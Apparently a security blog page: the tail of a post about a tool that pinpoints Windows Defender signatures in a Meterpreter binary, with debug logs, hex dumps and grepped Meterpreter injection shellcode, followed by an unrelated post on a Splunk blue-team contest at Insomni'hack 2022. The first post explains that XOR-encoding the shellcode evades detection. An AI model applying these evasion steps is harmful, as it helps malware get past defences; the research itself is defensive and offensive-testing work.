[DEBUG   ][2021-08-28 17:12:35,921][pe_utils.py:331] print_global_variables() :: Found 111 bytes variable @ 0x6c863621:
[DEBUG   ][2021-08-28 17:12:35,921][pe_utils.py:335] print_global_variables() ::
00000000: 83 C4 50 48 89 FC C3 00  00 00 00 00 00 00 00 00  ..PH............
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 55  ...............U
00000020: 89 E5 56 57 8B 75 08 8B  4D 0C E8 00 00 00 00 58  ..VW.u..M......X
00000030: 83 C0 2B 83 EC 08 89 E2  C7 42 04 33 00 00 00 89  ..+......B.3....
00000040: 02 E8 0F 00 00 00 66 8C  D8 66 8E D0 83 C4 14 5F  ......f..f....._
00000050: 5E 5D C2 08 00 8B 3C E4  FF 2A 48 31 C0 57 FF D6  ^]....<..*H1.W..
00000060: 5F 50 C7 44 24 04 23 00  00 00 89 3C 24 FF 2C     _P.D$.#....<$.,
[DEBUG   ][2021-08-28 17:12:35,922][pe_utils.py:331] print_global_variables() :: Found 16 bytes variable @ 0x6c863690:
[DEBUG   ][2021-08-28 17:12:35,922][pe_utils.py:335] print_global_variables() ::
00000000: 24 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  $...............
[DEBUG   ][2021-08-28 17:12:35,922][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c8636a0:
[DEBUG   ][2021-08-28 17:12:35,922][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,922][pe_utils.py:331] print_global_variables() :: Found 992 bytes variable @ 0x6c8636c0:
[DEBUG   ][2021-08-28 17:12:35,922][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
00000020: 00 37 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  .7.l............
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 10 73 84 6C 00 00 00 00  40 72 84 6C 00 00 00 00  .s.l....@r.l....
00000050: 30 76 84 6C 00 00 00 00  20 6D 84 6C 00 00 00 00  0v.l.... m.l....
00000060: D0 65 84 6C 00 00 00 00  00 79 84 6C 00 00 00 00  .e.l.....y.l....
00000070: D0 62 84 6C 00 00 00 00  80 69 84 6C 00 00 00 00  .b.l.....i.l....
[DEBUG   ][2021-08-28 17:12:35,922][pe_utils.py:331] print_global_variables() :: Found 2016 bytes variable @ 0x6c863aa0:
[DEBUG   ][2021-08-28 17:12:35,922][pe_utils.py:335] print_global_variables() ::
00000000: 0C 00 00 00 00 00 00 00  F0 D2 84 6C 00 00 00 00  ...........l....
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,923][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c864280:
[DEBUG   ][2021-08-28 17:12:35,923][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,923][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c8642a0:
[DEBUG   ][2021-08-28 17:12:35,923][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
[DEBUG   ][2021-08-28 17:12:35,923][pe_utils.py:331] print_global_variables() :: Found 160 bytes variable @ 0x6c8642c0:
[DEBUG   ][2021-08-28 17:12:35,923][pe_utils.py:335] print_global_variables() ::
00000000: 00 00 00 00 01 00 00 00  03 00 00 00 07 00 00 00  ................
00000010: 0F 00 00 00 1F 00 00 00  3F 00 00 00 7F 00 00 00  ........?.......
00000020: FF 00 00 00 FF 01 00 00  FF 03 00 00 FF 07 00 00  ................
00000030: FF 0F 00 00 FF 1F 00 00  FF 3F 00 00 FF 7F 00 00  .........?......
00000040: FF FF 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 20 69 6E 66 6C 61 74 65  20 31 2E 30 2E 34 20 43   inflate 1.0.4 C
00000070: 6F 70 79 72 69 67 68 74  20 31 39 39 35 2D 31 39  opyright 1995-19
[DEBUG   ][2021-08-28 17:12:35,923][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c864360:
[DEBUG   ][2021-08-28 17:12:35,923][pe_utils.py:335] print_global_variables() ::
00000000: 00 00 00 00 00 00 00 00  C0 43 86 6C 00 00 00 00  .........C.l....
00000010: 00 00 00 00 13 00 00 00  07 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,923][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c864380:
[DEBUG   ][2021-08-28 17:12:35,924][pe_utils.py:335] print_global_variables() ::
00000000: 60 D6 86 6C 00 00 00 00  20 44 86 6C 00 00 00 00  `..l.... D.l....
00000010: 00 00 00 00 1E 00 00 00  0F 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,924][pe_utils.py:331] print_global_variables() :: Found 128 bytes variable @ 0x6c8643a0:
[DEBUG   ][2021-08-28 17:12:35,924][pe_utils.py:335] print_global_variables() ::
00000000: E0 D6 86 6C 00 00 00 00  A0 44 86 6C 00 00 00 00  ...l.....D.l....
00000010: 01 01 00 00 1E 01 00 00  0F 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 02 00 00 00 03 00 00 00  07 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,924][pe_utils.py:331] print_global_variables() :: Found 96 bytes variable @ 0x6c864420:
[DEBUG   ][2021-08-28 17:12:35,924][pe_utils.py:335] print_global_variables() ::
00000000: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000010: 01 00 00 00 01 00 00 00  02 00 00 00 02 00 00 00  ................
00000020: 03 00 00 00 03 00 00 00  04 00 00 00 04 00 00 00  ................
00000030: 05 00 00 00 05 00 00 00  06 00 00 00 06 00 00 00  ................
00000040: 07 00 00 00 07 00 00 00  08 00 00 00 08 00 00 00  ................
00000050: 09 00 00 00 09 00 00 00  0A 00 00 00 0A 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,924][pe_utils.py:331] print_global_variables() :: Found 4 bytes variable @ 0x6c864480:
[DEBUG   ][2021-08-28 17:12:35,925][pe_utils.py:335] print_global_variables() ::
00000000: 0B 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:12:35,925][pe_utils.py:331] print_global_variables() :: Found 4 bytes variable @ 0x6c864484:
[DEBUG   ][2021-08-28 17:12:35,925][pe_utils.py:335] print_global_variables() ::
00000000: 0B 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:12:35,925][pe_utils.py:331] print_global_variables() :: Found 4 bytes variable @ 0x6c864488:
[DEBUG   ][2021-08-28 17:12:35,925][pe_utils.py:335] print_global_variables() ::
00000000: 0C 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:12:35,925][pe_utils.py:331] print_global_variables() :: Found 4 bytes variable @ 0x6c86448c:
[DEBUG   ][2021-08-28 17:12:35,925][pe_utils.py:335] print_global_variables() ::
00000000: 0C 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:12:35,925][pe_utils.py:331] print_global_variables() :: Found 4 bytes variable @ 0x6c864490:
[DEBUG   ][2021-08-28 17:12:35,925][pe_utils.py:335] print_global_variables() ::
00000000: 0D 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:12:35,925][pe_utils.py:331] print_global_variables() :: Found 12 bytes variable @ 0x6c864494:
[DEBUG   ][2021-08-28 17:12:35,926][pe_utils.py:335] print_global_variables() ::
00000000: 0D 00 00 00 00 00 00 00  00 00 00 00              ............
[DEBUG   ][2021-08-28 17:12:35,926][pe_utils.py:331] print_global_variables() :: Found 192 bytes variable @ 0x6c8644a0:
[DEBUG   ][2021-08-28 17:12:35,926][pe_utils.py:335] print_global_variables() ::
00000000: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 01 00 00 00 01 00 00 00  01 00 00 00 01 00 00 00  ................
00000030: 02 00 00 00 02 00 00 00  02 00 00 00 02 00 00 00  ................
00000040: 03 00 00 00 03 00 00 00  03 00 00 00 03 00 00 00  ................
00000050: 04 00 00 00 04 00 00 00  04 00 00 00 04 00 00 00  ................
00000060: 05 00 00 00 05 00 00 00  05 00 00 00 05 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,926][pe_utils.py:331] print_global_variables() :: Found 96 bytes variable @ 0x6c864560:
[DEBUG   ][2021-08-28 17:12:35,926][pe_utils.py:335] print_global_variables() ::
00000000: 40 12 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  @..l............
00000010: FF FF FF FF FF FF FF FF  00 00 00 00 00 00 00 00  ................
00000020: 02 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 70 0E 86 6C 00 00 00 00  90 0D 86 6C 00 00 00 00  p..l.......l....
00000040: 60 0D 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  `..l............
00000050: F0 0E 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  ...l............
[DEBUG   ][2021-08-28 17:12:35,926][pe_utils.py:331] print_global_variables() :: Found 16 bytes variable @ 0x6c8645c0:
[DEBUG   ][2021-08-28 17:12:35,926][pe_utils.py:335] print_global_variables() ::
00000000: 10 0F 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  ...l............
[DEBUG   ][2021-08-28 17:12:35,926][pe_utils.py:331] print_global_variables() :: Found 16 bytes variable @ 0x6c8645d0:
[DEBUG   ][2021-08-28 17:12:35,926][pe_utils.py:335] print_global_variables() ::
00000000: 40 10 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  @..l............
[DEBUG   ][2021-08-28 17:12:35,927][pe_utils.py:331] print_global_variables() :: Found 16 bytes variable @ 0x6c8645e0:
[DEBUG   ][2021-08-28 17:12:35,927][pe_utils.py:335] print_global_variables() ::
00000000: 32 A2 DF 2D 99 2B 00 00  00 00 00 00 00 00 00 00  2..-.+..........
[DEBUG   ][2021-08-28 17:12:35,927][pe_utils.py:331] print_global_variables() :: Found 2576 bytes variable @ 0x6c8645f0:
[DEBUG   ][2021-08-28 17:12:35,927][pe_utils.py:335] print_global_variables() ::
00000000: CD 5D 20 D2 66 D4 FF FF  00 00 00 00 00 00 00 00  .] .f...........
00000010: 68 69 64 5F 74 5F 63 5F  70 5F 5F 6F 52 78 50 46  hid_t_c_p__oRxPF
00000020: 78 74 49 39 78 45 62 00  68 69 64 5F 70 5F 69 5F  xtI9xEb.hid_p_i_
00000030: 70 5F 5F 76 4E 53 37 5A  7A 32 33 57 35 75 49 00  p__vNS7Zz23W5uI.
00000040: 68 69 64 5F 68 5F 74 5F  74 5F 5F 75 46 55 34 43  hid_h_t_t__uFU4C
00000050: 69 62 42 65 58 70 49 00  5A 77 57 72 69 74 65 56  ibBeXpI.ZwWriteV
00000060: 69 72 74 75 61 6C 4D 65  6D 6F 72 79 00 63 3A 5C  irtualMemory.c:\
00000070: 77 69 6E 64 6F 77 73 5C  73 79 73 74 65 6D 33 32  windows\system32
[DEBUG   ][2021-08-28 17:12:41,182][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpuqgr4pyb...
[DEBUG   ][2021-08-28 17:12:41,183][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:41,183][scanner.py: 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:12:41,183][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:41,417][pe_utils.py:157] hide_bytes() :: Hiding 4608 bytes @ 133152
[DEBUG   ][2021-08-28 17:12:46,799][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpz4xqjxpi...
[DEBUG   ][2021-08-28 17:12:46,799][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:46,799][scanner.py: 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:12:46,799][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:46,983][antivirus_debugger.py:182] global_vars_analysis() :: True -  ALF:HSTR:MeterpreterAPIHashingX64
[DEBUG   ][2021-08-28 17:12:47,044][pe_utils.py:157] hide_bytes() :: Hiding 32 bytes @ 137760
[DEBUG   ][2021-08-28 17:12:52,377][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpe3g3inki...
[DEBUG   ][2021-08-28 17:12:52,377][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:52,378][scanner.py: 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:12:52,378][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:52,571][antivirus_debugger.py:182] global_vars_analysis() :: True -  ALF:HSTR:MeterpreterAPIHashingX64
[DEBUG   ][2021-08-28 17:12:52,637][pe_utils.py:157] hide_bytes() :: Hiding 32 bytes @ 137792
[DEBUG   ][2021-08-28 17:12:57,946][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp3uzv03yw...
[DEBUG   ][2021-08-28 17:12:57,947][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:57,947][scanner.py: 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:12:57,947][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:58,148][antivirus_debugger.py:182] global_vars_analysis() :: True -  ALF:HSTR:MeterpreterAPIHashingX64
[DEBUG   ][2021-08-28 17:12:58,205][pe_utils.py:157] hide_bytes() :: Hiding 32 bytes @ 137824
[DEBUG   ][2021-08-28 17:13:03,503][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpynvakvrg...
[DEBUG   ][2021-08-28 17:13:03,503][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:13:03,503][scanner.py: 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:13:03,503][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:13:03,711][antivirus_debugger.py:182] global_vars_analysis() :: True -  ALF:HSTR:MeterpreterAPIHashingX64
[DEBUG   ][2021-08-28 17:13:03,773][pe_utils.py:157] hide_bytes() :: Hiding 32 bytes @ 137856
[DEBUG   ][2021-08-28 17:13:09,083][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpqg26sa32...
[DEBUG   ][2021-08-28 17:13:09,083][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:13:09,083][scanner.py: 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:13:09,083][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:13:09,280][antivirus_debugger.py:182] global_vars_analysis() :: True -  ALF:HSTR:MeterpreterAPIHashingX64
[DEBUG   ][2021-08-28 17:13:09,334][pe_utils.py:157] hide_bytes() :: Hiding 608 bytes @ 137888
[DEBUG   ][2021-08-28 17:13:14,691][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmphtzs4acy...
[DEBUG   ][2021-08-28 17:13:14,692][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:13:14,692][scanner.py: 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:13:14,692][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:13:14,864][antivirus_debugger.py:182] global_vars_analysis() :: True -  ALF:HSTR:MeterpreterAPIHashingX64
[DEBUG   ][2021-08-28 17:13:14,934][pe_utils.py:157] hide_bytes() :: Hiding 289 bytes @ 138496
[DEBUG   ][2021-08-28 17:13:20,336][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpv1pa0e29...
[DEBUG   ][2021-08-28 17:13:20,336][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:13:20,482][antivirus_debugger.py:182] global_vars_analysis() :: False - Nothing
[INFO    ][2021-08-28 17:13:20,483][antivirus_debugger.py:184] global_vars_analysis() :: Windows Defender detects this global variable:
[INFO    ][2021-08-28 17:13:20,483][pe_utils.py: 70] display() ::
00000000: FC 48 89 CE 48 89 E7 48  83 E4 F0 E8 C8 00 00 00  .H..H..H........
00000010: 41 51 41 50 52 51 56 48  31 D2 65 48 8B 52 60 48  AQAPRQVH1.eH.R`H
00000020: 8B 52 18 48 8B 52 20 48  8B 72 50 48 0F B7 4A 4A  .R.H.R H.rPH..JJ
00000030: 4D 31 C9 48 31 C0 AC 3C  61 7C 02 2C 20 41 C1 C9  M1.H1..<a|., A..
00000040: 0D 41 01 C1 E2 ED 52 41  51 48 8B 52 20 8B 42 3C  .A....RAQH.R .B<
00000050: 48 01 D0 66 81 78 18 0B  02 75 72 8B 80 88 00 00  H..f.x...ur.....
00000060: 00 48 85 C0 74 67 48 01  D0 50 8B 48 18 44 8B 40  .H..tgH..P.H.D.@
00000070: 20 49 01 D0 E3 56 48 FF  C9 41 8B 34 88 48 01 D6   I...VH..A.4.H..
[INFO    ][2021-08-28 17:13:20,483][antivirus_debugger.py:190] global_vars_analysis() :: Done ! You should patch these bytes:
[INFO    ][2021-08-28 17:13:20,483][pe_utils.py: 81] display() :: 608 bytes @ 137888:
[INFO    ][2021-08-28 17:13:20,483][pe_utils.py: 86] display() ::
00000000: FC 80 79 10 00 0F 85 13  01 00 00 C6 41 10 01 48  ..y.........A..H
00000010: 83 EC 78 E8 C8 00 00 00  41 51 41 50 52 51 56 48  ..x.....AQAPRQVH
00000020: 31 D2 65 48 8B 52 60 48  8B 52 18 48 8B 52 20 48  1.eH.R`H.R.H.R H
00000030: 8B 72 50 48 0F B7 4A 4A  4D 31 C9 48 31 C0 AC 3C  .rPH..JJM1.H1..<
00000040: 61 7C 02 2C 20 41 C1 C9  0D 41 01 C1 E2 ED 52 41  a|., A...A....RA
00000050: 51 48 8B 52 20 8B 42 3C  48 01 D0 66 81 78 18 0B  QH.R .B<H..f.x..
00000060: 02 75 72 8B 80 88 00 00  00 48 85 C0 74 67 48 01  .ur......H..tgH.
00000070: D0 50 8B 48 18 44 8B 40  20 49 01 D0 E3 56 48 FF  .P.H.D.@ I...VH.
[INFO    ][2021-08-28 17:13:20,483][pe_utils.py: 81] display() :: 289 bytes @ 138496:
[INFO    ][2021-08-28 17:13:20,484][pe_utils.py: 86] display() ::
00000000: FC 48 89 CE 48 89 E7 48  83 E4 F0 E8 C8 00 00 00  .H..H..H........
00000010: 41 51 41 50 52 51 56 48  31 D2 65 48 8B 52 60 48  AQAPRQVH1.eH.R`H
00000020: 8B 52 18 48 8B 52 20 48  8B 72 50 48 0F B7 4A 4A  .R.H.R H.rPH..JJ
00000030: 4D 31 C9 48 31 C0 AC 3C  61 7C 02 2C 20 41 C1 C9  M1.H1..<a|., A..
00000040: 0D 41 01 C1 E2 ED 52 41  51 48 8B 52 20 8B 42 3C  .A....RAQH.R .B<
00000050: 48 01 D0 66 81 78 18 0B  02 75 72 8B 80 88 00 00  H..f.x...ur.....
00000060: 00 48 85 C0 74 67 48 01  D0 50 8B 48 18 44 8B 40  .H..tgH..P.H.D.@
00000070: 20 49 01 D0 E3 56 48 FF  C9 41 8B 34 88 48 01 D6   I...VH..A.4.H..

So, our tool shows two distinct variables that together trigger Windows Defender’s detection. However, they do not stand out as straight out malicous. To explain this result, we could either disassemble these bytes, or reflect that since they are located in the .data section, then they are used as initialised data by a function in the .text section. A simple grep inside the Meterpreter codebase reveals that we’re looking at two shellcodes:

grep -arA 5 'FC\\x80' metasploit-payloads/c/meterpreter/source/                                                                                                                                                              
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c:BYTE apc_stub_x64[] =        "\xFC\x80\x79\x10\x00\x0F\x85\x13\x01\x00\x00\xC6\x41\x10\x01\x48"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x83\xEC\x78\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B"
grep -arA 5 'FC\\x48' metasploit-payloads/c/meterpreter/source/                                                                                                                                                              
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c:BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00"

A simple xor encrpytion on these shellcodes suffices to make the detection go away, while keeping it functional.

Closing thoughts

That’s about it for the way our tool works. It is however held together with hope and duct tape, so don’t expect it to work out-of-the-box for your specific use case. Instead, consider it as a library to quickly pinpoint your antivirus detection’s strategy if the detection is made statically, and then run the different analysis to attempt to dump the signatures, or build a new one for your AV if it works a bit differently. We hope we’ll have the chance to continue improving it!

Vladimir Meier / @plowsec

Splunk Boss Of The SOC (BOTS) @Insomni’hack

It’s was a pleasure this year to meet you at the 2022 edition of our amazing security conference Insomni’hack !

With Splunk collaboration, we come back this year with “Splunk Boss Of The SOC” challenge.

What is BOTS and his history

Boss Of The SOC (BOTS) is a blue-team version of capture the flag competition. As a SOC analyst, you have to explore and investigate realistic event data/alert in Splunk Enterprise and Splunk Enterprise Security. During the competition, you can practice your security skills and compete with other participant. You have to answer a series of questions with different type, difficulty. Points are obtained for both accuracy and speed.

The first BOTS edition was created by Splunk at the .conf2016 and today it is an unavoidable event of each edition of Splunk .conf. The 2021 edition was virtual but did not impact the participation rate : 3700 attendees, 966 teams from over 700 organizations.

The next BOTS is planned at Splunk .conf 22 (18:00 Pacific/UTC-7), 14 June 2022. Remote participation is possible !

Scenario

The main story for Insomni’hack BOTS edition was the following :

” You and your team will role play as the quirky Security Analyst Alice Bluebird, a security analyst at Frothly, a thriving home brewing supply company. Why? Just because it’s a pandemic doesn’t mean Frothly has stopped defending its network. Contestants will pivot through a brand new, realistic dataset using Splunk’s analytics-driven security platform and the wild, wild web. All the while racing the clock ( and the globe) to identify the who, how, and where through a series of full forensic investigations.”

6 scenarios were available : Splunk ES, Splunk SOAR, AWS, Remote Work, APT and GCP.

Behind theses scenarios, the tools were Splunk Enterprise, Splunk Enterprise Security, Splunk SOAR and Corelight.

Who can participate ?

Everyone can participate! It’s fun and it lets you practice your security skills on a very cool platform. You can prepare yourself with the Splunk resources below:

Scoring

We are proud of SCRT analytics team to be at the first place for this edition :

Congratulations to all participants of this edition and see you again next year !